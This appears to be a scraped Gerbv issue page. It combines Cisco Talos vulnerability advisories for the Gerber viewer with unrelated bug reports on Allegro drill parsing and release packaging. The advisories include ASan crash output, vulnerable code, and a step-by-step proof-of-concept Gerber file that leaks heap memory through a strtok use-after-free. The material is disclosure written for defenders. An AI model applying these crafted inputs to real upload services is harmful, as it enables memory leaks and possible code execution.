                                   curr_net->stop_x +
                                   ls->parameter[OUTLINE_X_IDX_OF_POINT(pointCounter)],
                                   curr_net->stop_y +
                                   ls->parameter[OUTLINE_Y_IDX_OF_POINT(pointCounter)], 
                                   0,0,0,0);
    }

Finally, because Gerbv supports the %IF command, which allows to include and parse any file in the system (either via relative or absolute paths), an attacker might be able to exploit this vulnerability to exfiltrate file contents by dumping specific parts of the process memory.

Crash Information

# ./gerbv -x png -o out.png draw_amacro_outline.min.oobr
=================================================================
==85035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf23033bc at pc 0x5665269e bp 0xff9d4a28 sp 0xff9d4a18
READ of size 8 at 0xf23033bc thread T0
    #0 0x5665269d in gerber_parse_file_segment ./src/gerber.c:562
    #1 0x56654f27 in parse_gerb ./src/gerber.c:769
    #2 0x5666bdbc in gerbv_open_image ./src/gerbv.c:526
    #3 0x5666961f in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #4 0x565d0431 in main ./src/main.c:932
    #5 0xf6b83f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #6 0x5658c290  (./gerbv+0x16290)

0xf23033bc is located 4 bytes to the right of 824-byte region [0xf2303080,0xf23033b8)
allocated by thread T0 here:
    #0 0xf79fdf54 in malloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5f54)
    #1 0xf7008568 in g_malloc (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e568)
    #2 0x56661b7c in parse_aperture_definition ./src/gerber.c:2287
    #3 0x5665c253 in parse_rs274x ./src/gerber.c:1638
    #4 0x5664eff5 in gerber_parse_file_segment ./src/gerber.c:244
    #5 0x56654f27 in parse_gerb ./src/gerber.c:769
    #6 0x5666bdbc in gerbv_open_image ./src/gerbv.c:526
    #7 0x5666961f in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #8 0x565d0431 in main ./src/main.c:932
    #9 0xf6b83f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

SUMMARY: AddressSanitizer: heap-buffer-overflow ./src/gerber.c:562 in gerber_parse_file_segment
Shadow bytes around the buggy address:
  0x3e460620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e460660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3e460670: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0x3e460680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e460690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e4606c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==85035==ABORTING

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Incorrect rendering for Allegro Excellon files with "comment-style" tooldefs

gerbv does not parse the type of tool definition Allegro exports, and will render files using these tool definitions using some (incorrect) built-in defaults. Example file: drill.zip

Partial log:

** (process:857403): CRITICAL **: 11:35:53.848: Tool 01 used without being defined at line 22 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/allegro-2/MinnowMax_RevA1_DRILL/MinnowMax_RevA1_NCDRILL.drl"
** (process:857403): WARNING **: 11:35:53.850: Setting a default size of 0.024"
** (process:857403): CRITICAL **: 11:35:53.851: Tool 02 used without being defined at line 1853 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/allegro-2/MinnowMax_RevA1_DRILL/MinnowMax_RevA1_NCDRILL.drl"
** (process:857403): WARNING **: 11:35:53.851: Setting a default size of 0.032"
** (process:857403): CRITICAL **: 11:35:53.851: Tool 03 used without being defined at line 1877 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/allegro-2/MinnowMax_RevA1_DRILL/MinnowMax_RevA1_NCDRILL.drl"
** (process:857403): WARNING **: 11:35:53.851: Setting a default size of 0.04"
** (process:857403): CRITICAL **: 11:35:53.851: Tool 04 used without being defined at line 1924 in file "/home/jaseg/proj/gerbolyze/gerbonara/gerbonara/tests/resources/allegro-2/MinnowMax_RevA1_DRILL/MinnowMax_RevA1_NCDRILL.drl"
** (process:857403): WARNING **: 11:35:53.851: Setting a default size of 0.048"

The syntax for these tool definitions is reasonably simple to parse, see gerbonara's parser.

Secrurity Advisory (TALOS-2021-1415)

Gerbv RS-274X aperture definition tokenization use-after-free vulnerability

Summary

A use-after-free vulnerability exists in the RS-274X aperture definition tokenization functionality of Gerbv 2.7.0 and dev (commit b5f1eac) and Gerbv forked 2.7.1. A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv forked 2.7.1
Gerbv dev (commit b5f1eac)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

CWE

CWE-252 - Unchecked Return Value

Details

Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...        
    dprintf("In open_image, about to try opening filename = %s\n", filename);
    
    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...

A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);
    
        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white 
         * spaces)
         */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
        found_ADD && found_star && (found_X || found_Y)) 
        return TRUE;
    
    return FALSE;

} /* gerber_is_rs274x */

For an input to be considered an RS-274X file, the file must first contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*

Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

%ADD0X0*

After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                           gerb_state_t *state,        gerbv_net_t *curr_net, 
                           gerbv_stats_t *stats, gerb_file_t *fd, 
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);

If our file starts with "%", we end up calling parse_rs274x:

static void 
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [5]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...

For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

In summary, AM defines a "macro aperture template", which is, in other terms, a parameterized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows for arithmetic operations and variable definition. After a template has been defined, the AD command is used to instantiate the template and optionally passes some parameters to customize the shape.

From the specification, this is the syntax of the AM command:

<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>

While this is the syntax for the AD command:

<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}

Before going on with the aperture parsing, let's look at a core function used throughout the codebase: gerb_fgetstring.

char *
gerb_fgetstring(gerb_file_t *fd, char term)
{
    char *strend = NULL;
    char *newstr;
    char *i, *iend;
    int len;

    iend = fd->data + fd->datalen;
    for (i = fd->data + fd->ptr; i < iend; i++) {
        if (*i == term) {
            strend = i;
            break;
        }
    }

    if (strend == NULL)
        return NULL;

    len = strend - (fd->data + fd->ptr);

    newstr = (char *)g_malloc(len + 1);
    if (newstr == NULL)
        return NULL;
    strncpy(newstr, fd->data + fd->ptr, len);
    newstr[len] = '\0';
    fd->ptr += len;

    return newstr;
} /* gerb_fgetstring */

This function will return the a new string that covers from position fd->ptr up to the term character, and is returned as a new buffer allocated via g_malloc. This function however can also return NULL when g_malloc fails, or when the term character is not found from position fd->ptr to the end of the file. Clearly, all callers of this function should compare its return value against NULL and act accordingly.

Keeping this requirement in mind, let's look at parse_aperture_definition [5] to see how an "aperture description" (AD) is parsed:

static int 
parse_aperture_definition(gerb_file_t *fd, gerbv_aperture_t *aperture,
                          gerbv_image_t *image, gdouble scale,
                          long int *line_num_p)
{
    int ano, i;
    char *ad;
    char *token;
    gerbv_amacro_t *curr_amacro;
    gerbv_amacro_t *amacro = image->amacro;
    gerbv_error_list_t *error_list = image->gerbv_stats->error_list;
    gdouble tempHolder;
    
    if (gerb_fgetc(fd) != 'D') {
        gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                _("Found AD code with no following 'D' "
                    "at line %ld in file \"%s\""),
                *line_num_p, fd->filename);
        return -1;
    }
    
    /*
     * Get aperture no
     */
    ano = gerb_fgetint(fd, NULL);                                   // [6]
    
    /*
     * Read in the whole aperture defintion and tokenize it
     */
    ad = gerb_fgetstring(fd, '*');                                  // [7]
    token = strtok(ad, ",");                                        // [8]
    
    if (token == NULL) {
        gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                _("Invalid aperture definition "
                    "at line %ld in file \"%s\""),
                *line_num_p, fd->filename);
        return -1;
    }
    if (strlen(token) == 1) {                                       // [10]
        switch (token[0]) {
        case 'C':
            aperture->type = GERBV_APTYPE_CIRCLE;
            break;
        case 'R' :
            aperture->type = GERBV_APTYPE_RECTANGLE;
            break;
        case 'O' :
            aperture->type = GERBV_APTYPE_OVAL;
            break;
        case 'P' :
            aperture->type = GERBV_APTYPE_POLYGON;
            break;
        }
        /* Here a should a T be defined, but I don't know what it represents */
    } else {
        aperture->type = GERBV_APTYPE_MACRO;                        // [11]
        /*
         * In aperture definition, point to the aperture macro 
         * used in the defintion
         */
        curr_amacro = amacro;
        while (curr_amacro) {
            if ((strlen(curr_amacro->name) == strlen(token)) &&
                (strcmp(curr_amacro->name, token) == 0)) {
                aperture->amacro = curr_amacro;
                break;
            }
            curr_amacro = curr_amacro->next;
        }
    }
    
    ...

    if (aperture->type == GERBV_APTYPE_MACRO) {
        dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
                aperture->amacro->name);
        simplify_aperture_macro(aperture, scale);                   // [12]
        dprintf("Done simplifying\n");
    }
    
    g_free(ad);                                                     // [9]
    
    return ano;
} /* parse_aperture_definition */

At [6] the aperture number is retrieved as an integer and stored in ano. Then gerb_fgetstring [7] is used to retrieve a string from the current pointer in the file up to the first occurrence of the character * (recall this may return NULL).
The aperture type is then parsed using strtok [8]. However the ad variable is not compared against NULL, so strtok might receive a NULL as first argument.

This is the crux of the issue, but in order to understand the impact, let's review in detail how strtok works, from the manpage:

char *strtok(char *restrict str, const char *restrict delim);

The strtok() function breaks a string into a sequence of zero or more nonempty tokens.
On the first call to strtok(), the string to be parsed should be specified in str.
In each subsequent call that should parse the same string, str must be NULL.
The delim argument specifies a set of bytes that delimit the tokens in the parsed string.
...
A sequence of calls to strtok() that operate on the same string maintains a pointer that determines the
point from which to start searching for the next token. The first call to strtok() sets this pointer to
point to the first byte of the string. The start of the next token is determined by scanning forward for
the next nondelimiter byte in str.

Let's assume that we call parse_aperture_definition twice, by means of these two lines:

%ADD20C,1*%
%ADD21

the first time, gerb_fgetstring will return "C,1", and strtok will return a pointer to "C".
the second time, gerb_fgetstring will return NULL because there's no more "*" characters until the end of the file, and the code will call strtok(NULL, ",").
Since there have been no other calls to strtok across the two parse_aperture_definition invocations, the second strtok call will keep tokenizing the first ad string ("C,1"). However, that string was stored in a heap buffer that was freed before returning from parse_aperture_definition [9]. So, the internal strtok pointer is pointing to a freed buffer at the time of the second strtok call.

As we'll show later, this results in a use-after-free which can be used to extract data from the heap. However, the issue is more serious, since strtok is also writing to the buffer that it's tokenizing. Again from the manpage:

The end of each token is found by scanning forward until either the next delimiter byte is found or until
the terminating null byte ('\0') is encountered. If a delimiter byte is found, it is overwritten with a
null byte to terminate the current token, and strtok() saves a pointer to the following byte; that pointer
will be used as the starting point when searching for the next token. In this case, strtok() returns a
pointer to the start of the found token.

This means that whenever strtok finds a ",", it will replace that character with a NULL, and will return a pointer to the token that is expected to be within the original ad buffer. Hence, this issue allows for corrupting any heap data by replacing "," characters with a NULL. With careful heap manipulation, this could be used to execute arbitrary code.

Crash Information

# ./gerbv -x png -o out.png parse_aperture_strtok.min.poc

** (process:15271): CRITICAL **: 18:13:29.379: Unknown RS-274X extension found %D0% at line 1 in file "parse_aperture_strtok.min.poc"
=================================================================
==15271==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4c01512 at pc 0xf79a3d6a bp 0xff9e4918 sp 0xff9e44e8
READ of size 3 at 0xf4c01512 thread T0
    #0 0xf79a3d69  (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
    #1 0x56688b32 in parse_aperture_definition ./src/gerber.c:2200
    #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #7 0x565fc528 in main ./src/main.c:932
    #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #9 0x565ba220  (./gerbv+0x16220)

0xf4c01513 is located 0 bytes to the right of 3-byte region [0xf4c01510,0xf4c01513)
freed by thread T0 here:
    #0 0xf7a3cb94 in __interceptor_free (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5b94)
    #1 0xf704768f in g_free (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e68f)
    #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #7 0x565fc528 in main ./src/main.c:932
    #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

previously allocated by thread T0 here:
    #0 0xf7a3cf54 in malloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5f54)
    #1 0xf7047568 in g_malloc (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e568)
    #2 0x56688a58 in parse_aperture_definition ./src/gerber.c:2190
    #3 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #4 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #5 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #6 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #7 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #8 0x565fc528 in main ./src/main.c:932
    #9 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
Shadow bytes around the buggy address:
  0x3e980250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3e9802a0: fa fa[fd]fa fa fa 06 fa fa fa 06 fa fa fa 00 04
  0x3e9802b0: fa fa 04 fa fa fa 00 04 fa fa 00 05 fa fa 00 04
  0x3e9802c0: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa 04 fa
  0x3e9802d0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 04
  0x3e9802e0: fa fa fd fd fa fa fd fa fa fa fa fa fa fa fa fa
  0x3e9802f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15271==ABORTING

Exploit Proof of Concept

Attached to this advisory are two proof-of-concepts.

The first one parse_aperture_strtok.min.poc is a minimized version that will likely trigger a NULL dereference in strtok.

The second one (parse_aperture_strtok.1.poc and parse_aperture_strtok.2.poc) is a sample implementation of the information leak described before. There are probably several ways of reading memory via this primitive, we are just highlighting one of them.

token = strtok(ad, ",");                                        // [8]

if (token == NULL) {
    gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
            _("Invalid aperture definition "
                "at line %ld in file \"%s\""),
            *line_num_p, fd->filename);
    return -1;
}
if (strlen(token) == 1) {                                       // [10]
    switch (token[0]) {
    case 'C':
        aperture->type = GERBV_APTYPE_CIRCLE;
        break;
    case 'R' :
        aperture->type = GERBV_APTYPE_RECTANGLE;
        break;
    case 'O' :
        aperture->type = GERBV_APTYPE_OVAL;
        break;
    case 'P' :
        aperture->type = GERBV_APTYPE_POLYGON;
        break;
    }
    /* Here a should a T be defined, but I don't know what it represents */
} else {
    aperture->type = GERBV_APTYPE_MACRO;                        // [11]
    /*
     * In aperture definition, point to the aperture macro 
     * used in the defintion
     */
    curr_amacro = amacro;
    while (curr_amacro) {
        if ((strlen(curr_amacro->name) == strlen(token)) &&
            (strcmp(curr_amacro->name, token) == 0)) {
            aperture->amacro = curr_amacro;
            break;
        }
        curr_amacro = curr_amacro->next;
    }
}

...

if (aperture->type == GERBV_APTYPE_MACRO) {
    dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
            aperture->amacro->name);
    simplify_aperture_macro(aperture, scale);                   // [12]
    dprintf("Done simplifying\n");
}

At [8] strtok will read (use-after-free) from the heap, so anything could be returned in token. It is possible to manipulate the heap so that the saved ad pointer will point to 2 known bytes. This way, strlen(token) at [10] will return 2, and we'll land at [11] where the code interprets the token as a macro name. If any macro has been defined that matches token, then that macro will be used at [12] and it will be possible to draw using that macro later on. The idea of this exploitation path is to guess the placement of the two known bytes, and walk back guessing previous bytes by making the macro name larger. Depending on which macro will be exported to the image file, we'll be able to tell which value in memory was matched. This will allow for leaking memory until a NULL byte is found.

Let's look at the PoC line-by-line:

%FSLAX25Y25*%
%MOIN*%

G04 Create a blank region to draw over *
%LPC*%
G36*
X0Y0D01*
X0Y800000D01*
X800000Y800000D01*
X800000Y0D01*
G37*
%LPD*%

Initializations and setup of a blank region used to make the image larger.

G04 Create aperture macros with 2-bytes names permutations *
G04 These are drawing triangles with different rotations *
%AM-V*4,1,3,0,0,0,2,4,1,0,0,0*%
%AM_V*4,1,3,0,0,0,2,4,1,0,0,50*%
%AM=V*4,1,3,0,0,0,2,4,1,0,0,90*%
%AM+V*4,1,3,0,0,0,2,4,1,0,0,180*%
%AM\V*4,1,3,0,0,0,2,4,1,0,0,270*%
G04 ... other macros (trimmed) ... *

Definition of multiple macros with different names ("-V", "_V", "=V", etc.), ideally all permutations of two bytes should be written here if the bytes we're matching are unknown.

G04 Initialize strtok *
%ADD20C,BBBB\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC*%

Call strtok for the first time. \x00 is actually a NULL byte in the PoC file, it's simply a trick used to force gerb_fgetstring to allocate a larger buffer and to stop strtok at "BBBB". The size of the buffer will depend on the targeted heap data.

%IFparse_aperture_strtok.2.poc*%

Include an external file containing

%ADD21

This triggers the strtok issue, since there's no * till the end of this file. Note that there might be a way to do the same without the %IF directive, however we couldn't find a trivial way around using M02* below and force the rending of the image at the same time.

D21*
X400000Y400000D03*
M02*

Finally, use the tool 21, which will use whatever macro has been matched depending on heap contents (it might match one of "-V", "_V", "=V", however in the provided PoC will likely match nothing unless run in gdb). If any match happen one of the triangles defined by the macro will be rendered in the image. By looking at which triangle has been printed, we will know which byte was in memory, hence the information leak.

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2021-11-24 - Vendor Disclosure
None - Public Release

TALOS-2021-1415 - Gerbv_RS-274X_aperture_definition_tokenization_use-after-free_vulnerability.txt

INSTALL file missing

As mentioned above, INSTALL file is missing as well as configure. Both are generated via autogen.sh.

In your process to get a .tar.gz release from GitHub (README-release.txt), I suggest run autogen.sh, because, to me, generated files from autogen are part of the src distribution

fatal: not a git repository (or any parent up to mount point /)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).
rm gerbv.github.io  README-release.txt  dontdiff  build_release

Name your tags as in "gerbv-2.8.1" (to be consistent with previous naming)

There is an error installing file gerbv.h:

include/gerbv-/gerbv.h
iso
include/gerbv-2.8.1/gerbv.h

Attached is my current .spec file. It is not able to build an SRPM

Security Advisory (TALOS-2021-1417)

TALOS-2021-1417
CVE-2021-40403

Gerbv pick-and-place rotation parsing use of uninitialized variable vulnerability

Summary

An information disclosure vulnerability exists in the pick-and-place rotation parsing functionality of Gerbv 2.7.0 and dev (commit b5f1eac), and Gerbv forked 2.8.0. A specially-crafted pick-and-place file can exploit the missing initialization of a structure to leak memory contents. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv forked 2.8.0
Gerbv dev (commit b5f1eac)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

5.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-456 - Missing Initialization of a Variable

Details

Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the pick-and-place file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...
    dprintf("In open_image, about to try opening filename = %s\n", filename);

    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    } else if (pick_and_place_check_file_type(fd, &foundBinary)) {                              // [1]
        dprintf("Found pick-n-place file\n");
        if (!foundBinary || forceLoadFile) {
                if (!reload) {
                        pick_and_place_parse_file_to_images(fd, &parsed_image, &parsed_image2); // [2]
    ...

A file is considered of type "pick-and-place" if the function pick_and_place_check_file_type [1] returns true. When true, pick_and_place_parse_file_to_images is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an pick-and-place file:

gboolean
pick_and_place_check_file_type(gerb_file_t *fd, gboolean *returnFoundBinary)
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        len = strlen(buf);
     
        /* First look through the file for indications of its type */
        
        /* check for non-binary file */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
            }
        }
        ...
        /* Semicolon can be separator too */
        if (g_strstr_len(buf, len, ";")) {
            found_comma = TRUE;
        }
        
        /* Look for refdes -- This is dumb, but what else can we do? */
        if ((letter = g_strstr_len(buf, len, "R")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after R */
                found_R = TRUE;
            }
        }
        if ((letter = g_strstr_len(buf, len, "C")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after C */
                found_C = TRUE;
            }
        }
        if ((letter = g_strstr_len(buf, len, "U")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after U */
                found_U = TRUE;
            }
        }
        
        /* Look for board side indicator since this is required
         * by many vendors */
        if (g_strstr_len(buf, len, "top")) {
            found_boardside = TRUE;
        }
        if (g_strstr_len(buf, len, "Top")) {
            found_boardside = TRUE;
        }
        if (g_strstr_len(buf, len, "TOP")) {
            found_boardside = TRUE;
        }
        /* Also look for evidence of "Layer" in header.... */
        if (g_strstr_len(buf, len, "ayer")) {
            found_boardside = TRUE;
        }
        if (g_strstr_len(buf, len, "AYER")) {
            found_boardside = TRUE;
        }
        
    }
